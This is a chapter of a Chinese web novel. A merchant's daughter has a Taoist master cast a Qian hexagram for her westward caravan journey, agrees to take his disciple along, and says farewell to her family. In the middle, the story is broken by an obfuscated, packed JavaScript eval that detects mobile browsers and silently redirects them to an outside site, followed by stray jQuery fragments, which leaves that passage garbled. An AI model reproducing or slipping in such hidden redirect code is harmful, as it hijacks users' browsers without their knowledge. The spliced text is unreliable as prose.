14. 谦谦君子 用涉大川

作品:《箭破风雪春日昭

    她把背篓交与膳堂的小师傅,便急着朝祈鹤殿赶去。


    今日一早,不言一反常态的打扫正殿,早早备好了一壶热茶,又端上一盘精致的果子。


    闲云这一下可算是坐不住了,他放下手中的卦图。


    这小子一看就是有事相求,自己若是不做些什么,他怕是一上午都在自己身边转个不停。


    “说吧,又有什么想求我的,又是端茶倒水,又是如此精致的果子。”闲云随手抓起一块酥饼就要往嘴里送。


    这枣泥酥,嚯,当真是好香。


    也当真是有些日子没下山了,他抬眼瞧了瞧被小徒弟藏在角落的纸袋,记住了店名,想着下次去吃吃看。


    “师父,小小一事,还请您帮忙!”


    “给她说一说带上我的事情。”闲云姿态悠闲,一口果子一口茶。


    小徒弟却“噗通”的一声,干脆利落的跪在自己面前,吓得他茶都没能端稳。


    淡色的茶汤随着瓷盏晃动,撒出些落在桌面上,渗在写好的纸张上,刚画好的卦图也被糊了一片。


    “你瞧瞧,你瞧瞧,急些个什么,你赶紧起来!”


    他啪的一声,把茶盏拍在桌上,转而伸手,一把拉起跪在地上的小道士。


    “又不逢年节,莫要再行此大礼,有什么要求且说给我听!”


    “她今日,不是要找您卜卦吗,那个...那个...”


    “哪个?哪个?”


    不言吞吞吐吐的说不清楚,闲云站在一旁跟着干干着急。


    “就是替我讲上两句,让她带上我!”


    “你已确认她此行向西?为何不自己说与她听?”


    “你们的关系,应当是极容易的。”


    原来只是此等小事,闲云看他如此阵仗,当真是提了一大口气。


    听完他索性瘫坐在蒲团上,如释重负的捶着胸口,问的时候干脆连头都不抬。


    “把那副小表情收起来罢,我都怕你脸僵了。”


    “不是什么问题,我替你讲。”他大手一挥,眼神儿示意不言也跟着坐下一起吃。


    小狐狸终于收起了堆在面上的笑容。他揉了揉自己的脸蛋儿。


    不言还未换下晨起的练功服,衣角还沾这些枯叶碎。


    他干了大半天的活,确实是饿得很,听见师父应允后动作有些着急。


    伸出灰灰的小手,从桌子下藏着的盒子里中取出一块软糯的果子。


    这是他最喜欢的。但自己下山的机会少,昭睿又见他爱吃,每次上山便会多带些。


    “这点心,是那小女娘带来的吧。还跟师父藏着掖着!真是学坏了小不言。”


    闲云一副八卦的表情,朝着自己徒弟挤眼。


    “她怎么连你喜欢吃什么都如此明晰?你是不是跟那个小施主....”


    闲云蔫儿坏的心思大开,他偷偷抽走桌子下的食盒,自己也捏了一块儿吃。


    不言的双眼紧紧跟着师父的双手,神色里有些不情愿。


    “师父你寻我开心,我们是好朋友,很好的那种。”


    小道士着急忙慌的解释,却没察觉自己在说话的时候嘴角也跟着上扬几分,闲云瞧着觉得有趣极了。看破不说破,他只是笑笑。


    “师父真的莫要多想了,况且现下我自己的事,悬而未决,我不希望....”


    “不希望把别人再扯进来了。”


    闲云最厌恶见到他这幅暗自神伤的表情,小小年纪心里的事情却一点不少,眼中不空,心中不净。


    “别总是想那么多,年轻的时候朋友就是朋友,感情就是感情,不经历,便也不会有大彻大悟的机会,你也正好借着着这次,出去体验一下世界到底是什么模样。”


    “不言,再大的事情也有你师父们扛着,你年纪还小,应当去做些自己想做的。用你自己的经历,去丈量这个广阔的天地。而不是困于龃龉,暗自神伤。”


    鹤雾观太小,注定关不住这小小少年。那不如让他飞的更高些。看得更远些。


    “师父,我就知道,你最好了。”


    小道士不知为何,觉着胸口闷闷的,泪水夺眶而出。


    两眼泪汪汪的,鼻尖上也挂着清清的鼻涕串儿。


    他就这幅模样朝着闲云扑过去。扯着自己师父的衣襟擦脸。


    “我的小祖宗!这又是哪一出?别哭别哭。”


    闲云忙不迭的掏出藏在袖子里的方帕,对准了怀里那个灰不溜秋的小团子,一把盖过去。


    “你这是瞄准了我的新衣服。看这鼻涕眼泪,可是全擦到为师身上了。”


    不言的小手紧紧攥住闲云的衣服,不愿意从师父怀里出来。


    也罢也罢,小孩子心性不稳,任他哭一哭,情绪都抒发出去也是好的,闲云轻拍两下小徒弟的后背。


    “哭罢了,今日这盒点心可是归我了!”


    “帮忙哪有不收取点礼物的道理。”


    闲云一把盖上了点心盒子,全部揣到自己身边。


    高高的抬着头,一副理所应当的模样。


    小少年止住了抽噎,抬着头,有些哽咽的埋怨道,


    “师父,怎的这样,每日来给您送礼的那么多,还缺我这点儿。”


    缺倒是是不缺,但就喜欢抢自己徒弟的。


    跟不言开玩笑实在是有趣儿,闲云没事儿就喜欢逗弄他。


    谁不知道鹤雾观里的闲云师傅生的俊俏,又能掐会算,平日里多得是香客给他送好东西。


    但还是从徒弟手里拿来的要香一些,他掂量着手上的盒子心情愉悦。


    “已经说好了,不得反悔,不然师父我可就不帮你了!”


    小道士松开了他的袖子,嘟着嘴小声嚷嚷


    “师兄说的不错,漂亮的男子都会骗人!师父你不讲道理!”


    “你那位很好很好的朋友,似乎已经到了。你不去看看?”闲云笑着挑了挑眉毛,果然一提到那小女娘,自己的小徒弟就表现的不太一般。


    眼前的人迅速用袖子把脸蛋儿擦的发红,小手又在额前整理了一下散乱的碎发。端起一副正经的神态,朝殿外走去。


    有猫腻,绝对有猫腻。


    闲云慢慢站起来,把身上的酥饼渣子抖落下来。擦了擦身上的泪痕,简单整理了一下杂乱的桌面。


    他有预感,今天要卜算的事情不小。


    值得拿出自己收藏的一套新算筹。


    不言还是有些慌张了。一出门就见小女娘站在殿门口左顾右盼,一副欲进又止的模样。


    “呦,您怎么没进来啊?”


    “我是怕,是怕,直接进去不合礼数。”


    明明什么胆大的事儿都做过,但她唯独是对卜算的地方极其虔诚。


    看她唯唯诺诺的样子,不言有些意外。


    “哈哈哈,这话你讲出来,总觉着怪怪的。”


    小道士突然凑近,就看到小女娘的脸上像小花猫一样,有一瞥“胡子”。


    他忍不住盯着面前之人多看了几眼,努力的抿着嘴。


    直白的目光让昭睿感觉到了异样。她抬起手使劲儿的摸了摸自己的脸。


    “怎么今日盯着我看这么久,莫不是终于发现我个人的美貌了?”不言这小子,今天怪怪的,她昂起头仔细打量起来。


    “您这么想,也不是不行。”


    她确实生的好看,一双圆圆的杏眼黑的发亮。


    巴掌大的脸蛋儿上五官长得很舒服,看起来很有福相。


    没想到是如此直白的应答,倒让昭睿有点不好意思了。


    不言就像是想起了什么,揪起自己的袖子倾身向前。


    这可是让昭睿吓了一跳,整个人僵在原地。


    “你想干嘛?”还没来得及推开,就感受到了脸蛋儿上布衣有些粗糙的触感。


    昭睿心中有些藏疑。


    “怕是你早上去挖笋都要挖入神了。脸上就像观中那狸猫,长了一撇胡子出来。”


    “别担心,我帮你把它拔掉了!”他的动作停了,表情有些俏皮。


    不言向后退了半步,手也从袖子里钻了出来。


    “害,你怎的不告诉我,我自己也可擦的。”原来只是这样,自己想的是有些多了。


    “怕你找不到位置。失礼了,且随我去见师父吧。”


    还有大事未做,师父还在一旁等着,他有些着急的领着昭睿走进大殿。


    闲云布好了茶,算筹也整齐的码在桌上,正半合着眼打哈欠。


    “可算是进来了,我就快睡着了!”


    “小施主,又见面了。”闲云跟她打起招呼,不言抱来蒲团示意她坐下。


    “闲云师傅,多有打扰。我给您备了些薄礼,稍后让春江送来。”


    不知为何,昭睿每次见到闲云都会格外紧张。


    或许是他能看透自己,短短一会儿小女娘的手心都跟着出了一层冷汗。


    “今日麻烦您了!”她“唰”的一下鞠躬,表情虔诚。


    又吓了闲云一跳,今日到底是怎的了一个两个都这么“夸张”


    闲云稳了稳身子坐定


    “请。”他拿出早已准备好的算筹递给面前的小女娘。


    算筹需分一十八次,得出的六组数字则为六爻。


    根据最终的卦相,再行解卦。


    算筹捧在手里相互碰撞,被昭睿一分为二,感觉身边好像有一阵无名的力量,带着她作出选择。


    为了得出这六组数字,昭睿觉着比早上挖笋子还累。


    “这便是得出的六个爻了?”闲云接过不言记录的纸张,细细端详。


    山地谦,谦卦,主爻是初六。“小施主,这次怕是不用担心了,敢问所求为何啊?”


    好卦!闲云笑呵呵的问起昭睿。


    “闲云师傅,我就要去西行了,这是我头一次独自出行所以想问问这一路的时运。”


    她缓缓开口声音还是有些紧张。


    这次卜算的时候,她的心里倒是平静了许多。或许是已经下定了决心要做。


    “谦卦的六爻,非吉则利。而小施主的主爻是初六。”


    “爻词是谦谦君子,用涉大川,吉。”


    听到一个吉字,昭睿提着的一口气彻底是放了下去,不言坐在一旁也跟着开心起来。


    “所以,闲云师傅,我此行当还是顺利的?”她迫不及待的追问。


    “小施主这两年的准备,是蓄势待发了!实力足够此次之行,但千万要记住,不与人争,自可无难。”


    “您且安心。此次的卦相极好,闲云也有一事,想拜托小施主。”


    他将谦卦之解,塞进一个锦囊里递给昭睿。


    在适当的时机提出自己的请求。


    “您且讲,能帮的我义不容辞。”


    “我的徒弟,此次我交与他一封书信,想让他替我捎给他三师父。”


    “小施主既是西行,可否捎上他一段儿?”


    原来是这样,闲云师傅居然还有徒弟?除了不言,自己可还未曾听过。


    昭睿脑子里有些混乱,但先连连应下。


    “没什么问题,这两日我让人给阿父去封信,多带一个人,我也多一份热闹!况且道观里的小师傅各个都身怀绝技,还是您的徒弟,定当是有才之人。”


    回答天衣无缝,这小女娘,两年来成长的当真是快。


    也不愧是有名的商贾后代,口齿伶俐得很。


    “只是闲云师傅,不知那位小师傅的目的地为何处?”


    昭睿感念闲云的恩情,他的徒弟,定是要帮着做好安排,看看自己能帮着多少。


    “他三师父就喜好外出游历,实在是行踪难测前一段可算是来了封信,说是去镇北关访一位故人呆上些时日。”


    “我便想着,让徒弟替我给他稍个信儿。”


    闲云两手一揣,把话讲明了。


    “那当真是巧,此次商队的目的地正是镇北关,可一路同行。”


    “那我便放心了,听闻这昭家的商队向来是最安全的,那我便提前祝小施主,一路顺风。”


    昭睿起身离开,闲云终于觉着自己的任务完成了,收拢着楠木矮桌上零零散散的工具。


    谁成想,这小女娘“唰”的一下子又朝着自己鞠了一躬。


    风随着她的动作打在闲云脸上,他又又被吓了一跳。


    手上的算筹差点儿就掉了一地。


    “感谢闲云师傅解惑,我出行前定再为祈鹤殿进些香火钱。”


    昭睿开心极了!


    困局得解,这整个人像是挣破了身上的茧,如沐春风,浑身轻松。


    日头正盛,万物沐浴着阳光肆意生长。


    昭睿抬头,有些倔强的和太阳对视,她喜欢这种有锐度的光。


    温暖而有力量,就像她的名字一般。


    不言追出来的时候正见昭睿傻傻的站在太阳地下,抬着头努力的眨眼睛。


    “喂,刚才我师父的话你有没有认真听啊!”他话里有话。


    “你怎么跟出来了,今日的课业可是完成了?我可不想帮着你躲你那些个师傅了。”


    听见声儿,她回过神。回看身后站在殿前那块儿微光里的小道士。


    他站的笔直,身型已经开始胜过自己了。


    小道士长得很俊朗,脸蛋儿在光下被雕琢的更细致。


    鼻尖的影子都看的一清二楚。他半眯着眼,手背在身后,正像是书中的狐狸书生。


    昭睿的目光最后落在了他的盈润的嘴唇上。


    他下巴刚刚开始摆脱幼时的稚气,皮肤被晒得有些透红。


    他张了张嘴。


    见昭睿没有动静,才又伸出手,在她眼前晃了晃。


    “昭小施主,昭小施主,昭睿!”


    “一看你就没听我师父认真说话。”


    他撅着嘴,一脸不满。


    “好了好了,我刚才想事情,出了神儿。我还没问你,你还有师兄或者师弟?”


    这一问,倒是把不言说的愣住了,他心底情绪翻涌不断。


    什么?难道她当真这般不关心自己,明明早就与他讲过,我是师父的关门弟子,观中只我一人能习得师父的本事。


    不言越想越觉得有些委屈,好朋友才不是这般。


    昭睿见他突然抬起袖子掩住了脸,倒是有些慌张了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178537|180841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是想逗逗他,看起来他倒是当真了。


    不言的心思一向是细腻的很,她赶忙凑上去解释。


    “怎的还当了真,我刚开始确实以为你还有些师兄师弟。但马上就回想起你与我讲过,闲云师傅只有一个徒弟,就是你不言大师。”


    “你可莫要因为这就哭鼻子,不言大师,我还等着路上您能照抚我一二。”


    昭睿偷偷扯开他的袖子,果然小道士鼻子有些红红的。


    “我才没有因为这种事情就难过。”


    不言还是为自己争辩了几句。


    “走吧,走吧今日褚师傅定会做好吃的,笋子是我们亲手摘的,带你先去试试看。”


    昭睿讨好的扯过小道士的袖子,拽着他的腕子就往膳堂跑。


    小女娘的手软软的,很温暖,这被人牵着的感觉,好像以前也有过,模糊不清的记忆,像是蒙上了一层薄纱,不言怎样都看不清楚。


    “等等,你松开我,在道观内礼法多有不便!”


    他后知后觉。耳根子也跟着翻红起来。


    “哪有那么多礼数,我与你关系好这观中人尽皆知,拉一下小手而已,算不得什么大事。”


    “倒是你跑的快些,去晚了就吃不上第一口喽。”


    昭睿说话爽朗利落,没有半分扭捏,不言倒是觉得自己想的太多。


    她没撒开他的手。扭头朝他笑了笑。唇红齿白,明媚灿烂。


    也是,早就不是冬日了。路边的花也到了可以肆意盛开的季节。


    昭睿这短短的回眸一笑,就这般让小道士印在了心里。


    当下,不就是拥有每一个瞬间,随心而动。


    行程定了,准备的很快。昭睿归家告知父亲要带上一位观中的朋友。对于昭禄来说算不得什么难事。


    “睿儿,我们这趟运过去的是些丝绸和瓷器,一些新样式的用具。虽没什么极其贵重之物,但路上仍要小心。阿父最放心不下的便是你的安全了!”昭禄反反复复叮嘱,拉着女儿的手不愿撒开。


    “我在队里配的都是信得过又能打的老人了,邱叔那边,你要是有什么需求,皆可与他直言。你我的命令,如同一人。”


    转眼间,面前的中年男人已经红了眼眶,昭睿看不得他这幅脆弱的模样,连忙抱住阿父的阔腰。


    阿父果真又胖了些,生活滋润,养人。


    “阿父,且相信我,女儿这次定然完成任务。”


    “您给我配了这么多的精锐,心且放进肚子里去吧。”


    昭禄站在一边落泪,老管家熟练的地上布帕。


    他感叹于女儿的成长,仿佛在顷刻之间,已然变成了一颗风吹不倒,雨浇就长的树。根茎深深的扎在土地里,就连暴雪狂风,也再难撼动了。


    他和薛娘的女儿,就当是这般!昭睿和他们当年想象中的人影,逐渐重合。我的女儿,就当是这样了不起的。


    “好了阿父,我再去跟二郎告个别。明日一早就要出发,他闹了好几天,你和阿母好好安抚一下。”


    其实二郎早就知道自己的规划,但得知时间长短后,还是有些闹小孩子脾气,也怪自己太惯着他,回头一看才发现,自二郎出生以来竟鲜少和自己分开过。这样可不行,昭辰也需要自己成长起来。


    “其实,阿父您也知道,二郎书读的极好,怕是以后科考都不成问题的,只是他的性格总是闷闷的,跟这个年纪的孩子们玩不来,您若是有时间给他找个同龄的书童也好,多陪他聊聊。”


    若是寻得个爱好相同的伙伴,自己也就放心了。


    后面几年说不定需要远行的时间只会更多。不能事事都伴着他。但也不能让他孤身一人。


    跟阿父去书房又确认了一趟每程的落脚处,货物数量。交易城镇,铺面。


    昭睿朝着自己的阿父再次告别,阔步走出门去。


    守在房外的春江见到小姐出来,立刻迎了上去。“小姐,刚才有个娘子给你送了个麻布包裹。她嘱咐一定要您亲手拆开,最好带在身上。”


    昭睿朝着春江摊开手,示意她交给自己。“您不是刚刚交代还要去找夫人和二郎吗,我让她们给您放在房里了。”


    “看你聪明的,成,我晚上回去拆。”


    “你的行李可准备好了?再去检查一遍,这会儿不用跟着我了。”


    她让春江回去,自己去找二郎告别。


    只是这还未走到二郎的院里,就听见阿母的声音。她趴在窗棂下,侧耳偷听几句。


    “你阿姐只是出门,又不是回不来了,你这般是怎么样,如何都哄不得了?你若是继续哭个不停,倒真是要给你阿姐徒添晦气。”


    昭薛氏一句话让二郎从嘶哑的哭嚎,转为小声抽泣。


    “我,我,不想离开阿姐,你们……你们为什么不让我一起去!”


    小郎君软乎乎的声音变了调儿,嗓子哑哑的。


    他大声控诉着阿母。


    听起来尤为可怜。当真是怕了他了。


    昭睿站起身,推开了半掩着的屋门,午后的残阳照到桌子上。


    “二郎,姐姐来看你喽。”她朝着鼻子红红的的小郎君做了个鬼脸儿。


    “你可算是来了,你阿弟说什么都要跟你一起去。我是一点办法都没有。”


    昭睿半蹲着,跟坐在凳子上的小郎君视线相交。她拿起桌上的帕子仔细的擦掉小郎君脸儿上的眼泪和鼻涕。


    “二郎可想知道,阿姐为何不带你出门?”


    昭辰听到阿姐的问题,倒是认真起来。


    “定是阿姐觉得我什么都不会,是个小包袱。”


    他声音小小的,嚷嚷出来。


    怎的会这样想?听到这话昭睿和昭薛氏都有些不解。他怎的就能想叉劈这么多。


    “谁说的!我们二郎是家中最聪慧的,阿姐不带二郎,只是因为二郎的年纪还小,身体也不够强健。所以阿姐先去探路。”


    “二郎只管好好读书,阿姐的脑袋不如你这般厉害,将来还是要靠二郎来辅助阿姐,我们把家中的生意,做的更兴旺些!”


    昭辰小脑袋一抬,吸溜着鼻涕,一字一句倒是都听进去了,只是在脑袋里变成了自己理解的意思,他没有再哭闹,嘴上没说话,心里倒是想了不少


    原来阿姐,需要自己读书,还要,强健身体,这样,就能,帮忙!


    他觉着自己开窍了,去抓阿姐放在桌上的手。


    “阿姐,我懂了,我乖乖等你回来!待我足够强大,再与你同行。”


    小家伙脑子不知道又转了些什么东西。昭睿总觉着自己的阿弟有些不同,却又说不出什么,她抬手轻轻捏了捏昭辰的小鼻子。


    “好,好,我跟阿父讲过了,过几日便给你挑个看的过眼的书童,陪你读书。阿姐回来给你带些有趣的吃食玩意儿。”


    昭睿顺势抱着小郎君坐在自己腿上,从怀中掏出个琉璃烧的小雀儿逗他开心。


    看着哭完又笑的阿弟,她心里也有些不舍。


    但是世界是这般的大,她不能被困在四方之地。看着阿弟和母亲欣喜的模样。


    昭睿更加确定自己要走出去,走出一个未来。